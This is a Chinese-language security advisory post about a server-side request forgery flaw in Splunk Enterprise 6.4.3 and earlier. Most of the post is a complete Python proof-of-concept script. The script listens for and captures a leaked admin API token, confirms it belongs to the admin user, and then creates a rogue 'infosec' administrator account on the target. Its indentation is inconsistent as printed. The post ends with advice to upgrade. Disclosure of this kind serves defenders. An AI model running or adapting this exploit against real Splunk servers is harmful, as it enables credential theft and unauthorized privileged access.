猫头鹰
信安舆情早知道

Splunk Enterprise <= 6.4.3 服务器端请求伪造漏洞

s2

描述

Splunk 是机器数据的引擎。使用 Splunk 可收集、索引和利用所有应用程序、服务器和设备(物理、虚拟和云中)生成的快速移动型计算机数据 。

Splunk Enterprise应用程序存在一个服务器端请求伪造漏洞。攻击者可以通过社会工程学或其他方式将Splunk REST API的管理认证tokens导出到外部域。

详情

Splunk Enterprise Web管理界面内的警报功能中存在服务器端请求伪造(SSRF)漏洞。应用程序分析用户提供的数据中的GET参数”alerts_id”,并构建HTTP请求给监听TCP端口8089的splunkd守护进程。由于没有进行验证参数,攻击者可以指定一个外部域,并强制应用程序做一个HTTP请求到任意目标主机。

由于应用程序在授权请求标头中包含当前已认证用户的REST API令牌,因此该漏洞更加严重。

如下面的POC中所示,攻击者可以通过社会工程将API令牌导出到外部域来利用这个漏洞,并重新使用捕获的令牌来创建恶意特权用户。这最终可能导致通过自定义应用程序安装的功能来执行远程代码。

服务器端 Request Forgery

14815215531

POC

POC Code – splunk-poc.py

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import httplib
import ssl
import requests

token = ''

class MyHandler(BaseHTTPRequestHandler):
      def do_GET(self):
           global token
           try:
                token = self.headers.get('Authorization')[7:]
                print "[+] Captured Splunk API token from GET request"
           except Exception, e:
                print "[-] No API token captured on incoming connection..."

def adminTokenNotCaptured():
     global token
     if token:
         query = "/services/authentication/httpauth-tokens/" + token
         conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089, context=ssl._create_unverified_context())
         conn.putrequest("GET", query)
         conn.putheader("Authorization", "Splunk %s" % token)
         conn.endheaders()
         context = conn.getresponse().read()
         if 'userName">admin' in context:
             print "[+] Confirmed Splunk API token belongs to admin user"
             print "[+] Admin Splunk API Token: %s" % token
             return False
         else:
             print "[!] Splunk API token does not belong to admin user"
 
    return True

def poc():
       global token
       create_user_uri = "https://<SPLUNK IP>:8089/services/authentication/users"
       params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'}
       auth_header = {'Authorization': 'Splunk %s' % token}
       requests.packages.urllib3.disable_warnings()
       response = requests.post(url=create_user_uri, data=params, headers=auth_header, verify=False)
      if "<title>infosec" in response.content:
            print "[+] POC admin account 'infosec:password' successfully created" 
      else:
           print "[-] No account was created"
           print response.content

if __name__ == "__main__":
        try:
            print "[+] Starting HTTP Listener"
            server = HTTPServer(("", 8080), MyHandler)
            while adminTokenNotCaptured():
                 server.handle_request()
             poc()
        except KeyboardInterrupt:
             print "[+] Stopping HTTP Listener"
             server.socket.close()

漏洞修复

更新到Splunk Enterprise 6.5.0或更高版本。有关所有修补版本的完整信息在参考中提供

参考

 

*转载请注明来自MottoIN

转载请注明来自MottoIN,未经允许不得转载!MottoIN » Splunk Enterprise <= 6.4.3 服务器端请求伪造漏洞

分享到:更多 ()

评论 1

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们